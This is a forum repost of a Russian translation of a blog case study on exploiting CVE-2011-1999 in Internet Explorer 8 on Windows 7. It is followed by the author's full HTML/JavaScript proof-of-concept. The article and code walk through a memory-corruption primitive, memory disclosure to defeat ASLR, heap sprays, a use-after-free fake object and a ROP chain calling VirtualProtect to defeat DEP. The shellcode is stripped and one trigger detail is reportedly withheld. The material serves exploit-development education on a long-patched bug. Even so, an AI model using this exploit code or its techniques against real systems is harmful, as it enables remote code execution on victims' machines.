R0 CREW

Reliable Windows 7 Exploitation: A Case Study (ifsec.blogspot.ru)

expdev
reverse
ru
#1

Оригинал: ifsec.blogspot.com

Надежная эксплуатация Windows 7: пример из практики

Те из вас, кто читает мой блог постоянно, знают, что я не привожу код эксплойта для критических уязвимостей. Я публикую эту статью только потому, что прошло много времени с тех пор, как уязвимость, используемая здесь, была исправлена, и потому что я считаю, что методы, используемые в этом примере (эксплуатация Windows 7 без использования не ASLR-модуля и без использования вторичной уязвимости для раскрытия памяти) достаточно разннообразны, чтобы представлять интерес для сообщества. Я надеюсь, что приведенный ниже код будет использоваться только в образовательных целях.

Введение

Надежная эксплуатация уязвимостей браузера становится все более сложной благодаря внедрению таких механизмов защиты, как DEP и ASLR. Хотя можно показать, что ASLR можно легко победить без DEP (например, с помощью heap spray), а DEP можно легко победить без ASLR (например, с помощью ROP), комбинация этих двух делает надежную эксплуатацию намного сложнее. Вероятно, это и является причиной того, что не было опубликовано много работ об эксплуатации уязвимостей в Windows 7.

Двумя наиболее распространенными способами использования уязвимостей в Windows 7 являются:

    1. Использование вторичной уязвимости для раскрытия памяти и раскрытия адреса исполняемого модуля в памяти до использования «основной» уязвимости для выполнения полезной нагрузки. Например, Peter Vreugdenhil использовал этот метод в своем эксплоите для Internet Explorer 8 в Windows 7 на конкурсе Pwn2Own 2010 [1].
    1. Загрузка приложением модуля, не поддерживающего ASLR, например, msvcr71.dll [2].

В данном случае я опишу разработку эксплойта для Internet Explorer 8 в Windows 7 без использования вышеприведенных методов. Основная идея моего эксплойта заключается в использовании той же уязвимости для достижения как раскрытия памяти, так и выполнения кода.

Хотя, поначалу может показаться, что описанные ниже методы могут использоваться только с несколькими уязвимостями, по моему опыту многие уязвимости браузера могут использоваться для достижения как раскрытия памяти, так и выполнения кода с использованием методов, описанных bwlow. Кроме CVE-2011-1999, которая будет использоваться в качестве примера в этом тематическом исследовании, я обнаружил, что CVE-2010-1883 и CVE-2008-3475 (и, возможно, другие уязвимости) также могут быть использованы для выполнения как раскрытия памяти, так и выполнения кода. На самом деле, наиболее критическим условием, которому должна удовлетворять уязвимость для того, чтобы быть применимой, является то, что злоумышленник должен иметь возможность запускать его несколько раз без сбоя в уязвимом приложении. Большинство уязвимостей, удовлетворяющих этому условию, можно использовать как для раскрытия памяти, так и для выполнения кода, по крайней мере в контексте веб-браузера.

Уязвимость

Уязвимость, которую я собираюсь использовать в этом случае, затронула Internet Explorer 8. Она была обозначена как CVE-2011-1999 (MS11-081) и исправлена в октябре 2011 года.

Ошибка, которая вызывает уязвимость, заключается в некорректной проверке целочисленного параметра, переданного методу options.add элемента Select. Этот метод используется для добавления элемента Option к элементу Select, и он принимает два параметра:

    1. Добавляемый объект Option.
    1. Целое число, указывающее индекс нового объекта Option

Помимо прочего, метод options.add поддерживает массив указателей на объекты Option внутри соответствующего объекта Select. Этот массив называется кешем опций.

При определенных условиях метод options.add некорректно проверяет второй параметр. Если это отрицательное число, вместо того, чтобы вызвать исключение или изменить его на ноль, метод попытается добавить указатель на объект Option (переданный первым параметром) в кэш опций по отрицательному индексу (отрицательное смещение от начала кеша опций).

Это можно продемонстрировать, используя следующую последовательность инструкций JavaScript:

var s = document.createElement("select"); 
var o = document.createElement("option"); 
s.options.add(o,-0x20000000);

Это приводит к сбою браузера, как показано на следующем изображении

По сути, Internet Explorer пытается добавить указатель на опцию (‘o’ в коде выше) по адресу

[address of option cache]+(-0x20000000)*4

В asm’е это реализуется инструкцией

MOV DWORD PTR DS:[EAX+EDI*4],ECX

где EAX - указатель на кеш опций, ECX является указателем на объект Option, а EDI является индексом (-0x20000000 aka 0xE0000000).

Стек вызовов в момент сбоя выглядит так:

CImplPtrAry::Insert(int, void *) 
CSelectElement::AddOptionHelper(class COptionElement *, long, bool) 
CSelectElement::ie8_add(IHTMLOptionElement *,tagVARIANT *)

Из всего вышесказанного следует, что, манипулируя вторым параметром метода options.add, мы можем перезаписать произвольную (dword-aligned) ячейку памяти адресом объекта Option.

Но какой адрес мы должны переписать в свете ASLR и других механизмов защиты браузера? Это будет обсуждаться в следующих разделах.

Раскрытие памяти

Чтобы победить ASLR, нам в основном нужна способность считывать память текущего процесса, чтобы определить адрес некоторого исполняемого модуля. Однако раскрытие памяти будет использоваться не только для преодоления ASLR, но и для повышения надежности эксплойта, поскольку нам не придется делать много догадок относительно структуры памяти. Техника, которую я использовал для этой уязвимости в раскрытии памяти, описана в отдельном сообщении в блоге. Подробнее об этом читайте здесь. Фактически, этот пост в блоге следует рассматривать как первую часть этого тематического исследования. Основная идея использования этой уязвимости для раскрытия памяти - использовать ее для перезаписывания DWORD, который содержит длину некоторой строки JavaScript. После этого мы можем использовать метод substr этой строки, чтобы сделать запросы на чтение памяти.

Важно отметить, что этот метод раскрытия памяти позволит нам прочитать большую часть памяти после некоторого heap spray, поэтому нам нужно обязательно “заполнить” любые "дыры"в памяти перед этим heap spray, чтобы все, что было важно выделялось эксплоитом после этого спрея.

Использование уязвимости

Для обеспечения надежной эксплуатации в Windows 7 я использовал технику, которая будет описана ниже. Этот метод основан на двух heap spray:

    1. Первый heap spray имеет две цели. Первая цель - реализовать раскрытие памяти, как описано в предыдущем разделе. Вторая цель - разместить NOP’ы, за которыми следует шеллкод. Обратите внимание, что для того, чтобы победить DEP, прежде чем вызывать шеллкод, нам нужно сделать исполняемым содержащий его блок.
    1. Второй heap spray будет использоваться как поддельный стек после того, как мы получим контроль над EIP. В принципе, мы собираемся заменить указатель стека указателем на область где-то в этом heap spray. Нам нужно получить контроль над стеком, чтобы использовать возвратно-ориентированное программирование и победить DEP.

Обратите внимание, что если бы мы делали эксплойт для Windows XP (или какой-либо другой системы без ASLR), одного спрея было бы достаточно. Однако в нашем случае мы не будем знать значения обратных адресов, которые нам нужно положить в стек, пока мы не проведем первый спрей кучи.

Грубо этапы эксплойтинга приведены ниже.

  1. Проведите первый спрей кучи
  2. Выделите объекты Option и Select. Важно, чтобы эти объекты выделялись после первого спрея, чтобы они стали читаемыми
  3. Реализуйте раскрытие памяти, переписав длину строки в первом спрее (подробнее см. предыдущий раздел)
  4. Используйте раскрытие памяти для чтения указателя vtable некоторого объекта option. Базовый адрес mshtml.dll может быть вычислен вычитанием постоянного смещения от указателя vtable.
  5. Проведите второй спрей кучи (подробности будут приведены позже)
  6. Создайте объект Option. Назовем его A
  7. Найдите в памяти адрес какого-либо другого объекта Option (назовем его B) и перепишите его указатель CTreeNode адресом A. Адрес B можно определить через раскрытие памяти (кеш опций - хорошее место для поиска).
  8. Удалите A
  9. Выделите строку того же размера, что и A. Надеюсь, она будет выделена по тому же адресу, где размещался A.
  10. Прочитайте память, где размещался A, чтобы определить, успешно ли мы разместили там нашу строку. Если нет, вернитесь к шагу 6. Обратите внимание, что в это время указатель CTreeNode объекта B указывает на строку, содержимое которой мы контролируем.
  11. Сделайте что-нибудь с B, чтобы получить доступ к его указателю CTreeNode и в конечном итоге попытаться вызвать виртуальный метод некоторого объекта в иерархии CTreeNode (в эксплоите я использовал B.parentNode.Click (), чтобы выполнить это).

Теперь давайте посмотрим, что произойдет, если мы заполним строку в шаге 7 шаблоном

0x41 0x41 0x41 0x41 ...

Это показано на следующем рисунке.

Мы видим, что мы управляем EAX, и мы подошли к следующей последовательности инструкций

3D093A73   8078 08 52       CMP BYTE PTR DS:[EAX+8],52
...
3D093A84   8B00             MOV EAX,DWORD PTR DS:[EAX]
...
3D093A88   8BF0             MOV ESI,EAX
...
3D093A8E   8B06             MOV EAX,DWORD PTR DS:[ESI]
...
3D093A91   FF90 DC000000    CALL DWORD PTR DS:[EAX+DC]

Когда мы контролируем EAX, мы сделаем его указателем куда-то на область во втором распылении кучи, где мы можем предсказать содержимое. Мы сделаем второй спрей кучи блоками по 0x1000, поэтому, поскольку мы знаем, что каждый блок памяти начинается с адреса, делящегося на 0x1000, некоторый адрес в виде k * 0x1000 + 0x24, вероятно, будет содержать начало паттерна ( дополнительные 0x24 байт для заголовка блока памяти и длины строки). Так, например, если EIP равен 1C1C0024, вероятно, он укажет на начало шаблона во втором спрее.

Во-первых, нам нужно решить что-то со следующей строкой

CMP BYTE PTR DS:[EAX+8],52

Здесь мы просто должны убедиться, что EAX + 8 читаем, а в содержимом нет 52. Довольно просто, просто убедитесь, что по смещению 8 байт от начала шаблона нет 52.

Затем мы переходим к

MOV EAX,DWORD PTR DS:[EAX]

Здесь мы просто убедитесь, что [EAX] указывает на шаблон.
В частности, мы будем сделаем [EAX] указателем на pattern_address + 0x10, так что EAX снова под контролем после этой инструкции.

Теперь EAX указывает на pattern_address + 0x10.

Затем мы переходим к

MOV ESI,EAX 
MOV EAX,DWORD PTR DS:[ESI]

Опять же, мы просто сделаем так, чтобы после этого EAX снова указывал обратно в шаблон. В частности, мы можем сделать pattern_address + 0x10 указателем на pattern_address + 0x14.

Теперь EAX указывает на pattern_address + 0x14, и мы достигли

CALL DWORD PTR DS:[EAX+DC]

Что, очевидно, дает нам контроль над EIP.

Теперь, если бы DEP не был включен, мы могли бы просто сделать прыжок на nop’ы перед шеллкодом (в первом спрее кучи). Однако, поскольку в Internet Explorer 8 DEP включен, мы должны сначала получить контроль над стеком и использовать возвратно-ориентированное программирование, чтобы сделать shellcode исполнимым.

Чтобы получить контроль над стеком, мы сделаем [EAX + DC] указателем на следующую последовательность инструкций:

XCHG EAX,ESP 
RETN

Такая последовательность легко находится в большинстве модулей, потому что обе команды имеют размер в один байт (а это значит, что таких значений будет много, даже случайно). В свете ASLR, адрес этой последовательности (и любой другой последовательности инструкций) должен определяться динамически как [база mshtml.dll] + [offset]. Помните, что мы вычислили базовый адрес mshtml.dll на шаге 4 эксплойта.

Теперь мы управляем стеком, а также следующей функцией, в которую мы вернемся. Теперь нам нужно сделать shellcode исполнимым. Для этого мы вызовем VirtualProtect. Но мы не знаем адрес VirtualProtect, поскольку VirtualProtect не входит в состав mshtml.dll. Однако mshtml.dll содержит адрес VirtualProtect в разделе импорта. Таким образом, вместо прямого возврата в VirtualProtect, мы сначала вернемся в

POP EAX 
RETN

Здесь мы поместим адрес, который содержит адрес VirtualProtect, в EAX (помните, что мы управляем стеком). Этот код затем вернется в

CALL DWORD PTR DS:[EAX] 
RETN

и здесь вызывается VirtualProtect. Стек должен быть сконструирован таким образом, чтобы в этот момент аргументы VirtualProtect были правильно выровнены.

Это

  1. Адрес начала блока памяти (мы выберем какой-то блок в первом спрее кучи, к которому мы вернемся позже)
  2. Размер блока (0x100000)
  3. Новый набор разрешений (0x40 для PAGE_EXECUTE_READWRITE)
  4. Адрес, где будет храниться старый набор разрешений (какой-нибудь адрес в первом спрее, который нам не нужен)

Стек также должен быть сконструирован так, чтобы после обращения к VirtualProtect мы возвращались в nop’ы, которые мы только что сделали выполнимыми.

Итак, шаблон, используемый во втором спрее кучи, будет выглядеть так

[pattern_address+0x10]
[0xAA]*12
[pattern_address+0x14]
[address of POP EAX;RETN]
[address of address of VirtualProtect]
[address of CALL [EAX];RETN]
[address of block in the 1st heap spray]
[block size]
[0x40]
[some address in the 1st heap spray]
[address of a nop slide on the 1st heap spray]
[0xAA]*196
[address of XCHG EAX,ESP; RETN]

Используя этот шаблон, мы можем сделать шеллкод исполняемым и вернуться к нему.

Еще одна вещь, которую следует отметить при разработке эксплойтов в Windows 7, заключается в том, что многие шеллкоды не работают в Windows 7 и вызывают сбои. Для моего эксплойта я использовал шелл-код SkyLined, совместимый с Windows 7 , который можно найти по адресу http://code.google.com/p/w32-exec-calc-shellcode/

PoC-код

Код PoC можно посмотреть по адресу http://seclists.org/bugtraq/2012/Feb/178.

Ссылки

[1] Питер Врейгенхил, Pwn2Own 2010, эксплойт для Windows 7 Internet Explorer 8, http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
[2] http://www.whitephosphorus.org/sayonara.txt

Написано Ivan Fratric для ifsec.blogspot.com Переведено DreamSeller

Below is the PoC code for CVE-2011-1999 (MS11-081) that accompanies my blog article “Reliable Windows 7 Exploitation: A Case Study”

Some notes about the PoC code:

  • The exploit uses a single vulnerability to both bypass ASLR and execute the payload without requiring any non-ASLR module in memory.
  • One tiny detail required for triggering the vulnerability has been removed, so the exploit (as given below) should not work, even on vulnerable systems. No, I won’t tell you what it is. Sorry kids, this is for educational purposes only.
  • All offsets in the code were correct for mshtml.dll at the time this exploit code was written. As some time has passed between then and the time the vulnerability was patched, they won’t be correct for many vulnerable versions of this module. Writing the exploit that doesn’t rely on any hardcoded offsets is left as an exercise for the reader (more difficult, but certainly possible with the combination of the techniques used in the PoC below).
<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
        return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
        return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
        var o = new Option();
        selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
        if(addr < readaddr) alert("Error, can't read that address");
        return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
        if(addr < readaddr) alert("Error, can't read that address");
        return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
        try {
                var index = (addr-optarryaddr)/4 - 0x40000000;
                selarray[99].options.add(optarray.pop(),index);
        } catch(err) {} 
}

function getreadaddr() {
        readaddr = 0;
        var indexarray = new Array();
        var tmpaddr = 0;
        var i,index;
        
        index = readmem(tmpaddr);
        indexarray.push(index);
        
        while(1) {
                tmpaddr += 0x100000;
                index = readmem(tmpaddr);
                for(i=0;i<indexarray.length;i++) {
                        if(indexarray[i]==index+1) {
                                readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
                                return 1;
                        } else if(indexarray[i]==index-1) {
                                readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
                                return 1;                               
                        }
                }
                indexarray.push(index);
        }
}

//leverages the vulnerability into memory disclosure
function initread() {
        //overwrite something in a heap spray slide
        try {
                selarray[99].options.add(optarray.pop(),-100000000/4);
        } catch(err) {}
        
        //now find what and where exectly did we overwrite
        readindex = -1;
        var i;
        for(i=1;i<200;i++) {
                if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) {
                        readindex = i;
                        break;
                }
        }

        if(readindex == -1) {
                alert("Error overwriring first spray");
                return 0;
        }

        var start=2,len=spray[readindex].length-2,mid;
        while(len>10) {
                mid = Math.round(len/2);
                mid = mid - mid%2;
                if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) {
                        len = mid;
                } else {
                        start = start+mid;
                        len = len-mid;
                        //if(spray[readindex].substr(start,mid) == spray[readindex-1].substr(start,mid)) alert("error");
                }
        }
        
        for(i=start;i<(start+20);i=i+2) {
                if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
                        break;
                }
        }
        
        //overwrite the string length
        try {
                selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
        } catch(err) {}
                
        if(spray[readindex].length == spray[readindex-1].length) alert("error overwriting string length");
        
        //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
        getreadaddr();
        
        optarryaddr = readaddr + 100000000 + i*2;

        return 1;       
}

function trysploit() {
        //create some helper objects
        for(var i =0; i < 100; i++) {
                elms.push(document.createElement('div'));
        }

        //force the option cache to rebuild itself
        var tmp1 = selarray[99].options[70].text;

        //overwrite the CTreeNode pointer
        overwrite(corruptaddr);
        //read the address of the option object we overwrited with
        var optadr = readmem(corruptaddr);
        //delete the option object...
        selarray[99].options.remove(0);
        
        CollectGarbage();
        
        //...and allocate some strings in its place
        for(var i = 0; i < elms.length; i++) {
                elms[i].className = fakeobj;
        }

        //verify we overwrote the deleted option object successfully
        if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

        alert("success, calc.exe should start once you close this message box");

        //now do something with the corrupted option object
        corruptedoption.parentNode.click();
}

function hs() {
        
        //first heap spray, nop slide + shellcode       
        spray = new Array(200);
        var pattern = unescape("ఌఌ");
        while(pattern.length<(0x100000/2)) pattern+=pattern;
        pattern = pattern.substr(0,0x100000/2-0x100);
        for(var i=0;i<200;i++) {
                spray[i] = [inttostr(i)+pattern+scode].join("");
        }

        //fill small gaps, we wan everything _behind_ our heap spray so that we can read it
        var asmall = new Array(10000);
        pattern = "aaaa";
        while(pattern.length<500) pattern+=pattern;
        for(var i=0;i<10000;i++) {
                asmall[i]=[pattern+pattern].join("");
        }
        
        //create some select and option elements
        selarray = new Array(100);
        for(var i=0;i<100;i++) {
                selarray[i] = document.createElement("select");
                for(var j=0;j<100;j++) {
                        var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
                        selarray[i].options.add(o,0);
                }
        }
        
        //create some extra option elements
        optarray = new Array(10000);
        for(var i=0;i<10000;i++) {
                optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
        }
        
        //enable memory disclosure
        if(initread()==0) return;

        //force the option cache to rebuild itself
        var tmp1 = selarray[99].options[60].text;
        
        //get the address of some option element to be corrupted, also remove it from its select element, we don't want anything else messing with it
        corruptedoptionaddr = readmem(optarryaddr+60*4);
        corruptedoption = selarray[99].options[60];
        selarray[99].options.remove(60);
        
        //get the base address of mshtml.dll based on the vtable address inside the option object
        mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
        alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

        //we'll overwrite the pointer to the CTreeNode object, compute its address
        corruptaddr = corruptedoptionaddr+0x14;

        //second heap-spray, this one will act as a stack (we'll exchange stack pointer with a pointer into this)
        spray2 = new Array(200);        

        //some address that is likely to be inside the "stack"
        newstackaddr = optarryaddr+100000000;
        newstackaddr-=newstackaddr%0x1000;
        newstackaddr+=0x24;

        //assemble the "stack" so that it calls VirtualProtect on the firs shellcode and then jumps into it through return-oriented-programming
        newstack = inttostr(newstackaddr+0x10)+unescape("ꪪꪪꪪꪪꪪꪪ")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("ꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪ")+inttostr(mshtmlbase+0x1B43F);
        while(newstack.length<(0x1000/2)) newstack+=unescape("ꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪꪪ");
        newstack = newstack.substr(0,0x1000/2);
        while(newstack.length<(0x100000/2)) newstack+=newstack;
        newstack = newstack.substr(0,0x100000/2-0x100);
        for(var i=0;i<200;i++) {
                spray2[i] = [newstack].join("");
        }
        
        //constract a fake object which will replace a deleted option object (it has to be the same size)
        //fakeobj = unescape("䅁䅁")+inttostr(newstackaddr)+unescape("䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁");
        fakeobj = unescape("䅁䅁䅁䅁")+unescape("䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁");
        
        //loop until we either achieve command execution or fail
        for(var i=0;i<100;i++) {
                trysploit();
        }
        
        alert("Exploit failed, try again");

}


hs();


-->
</script>


</body>
</html>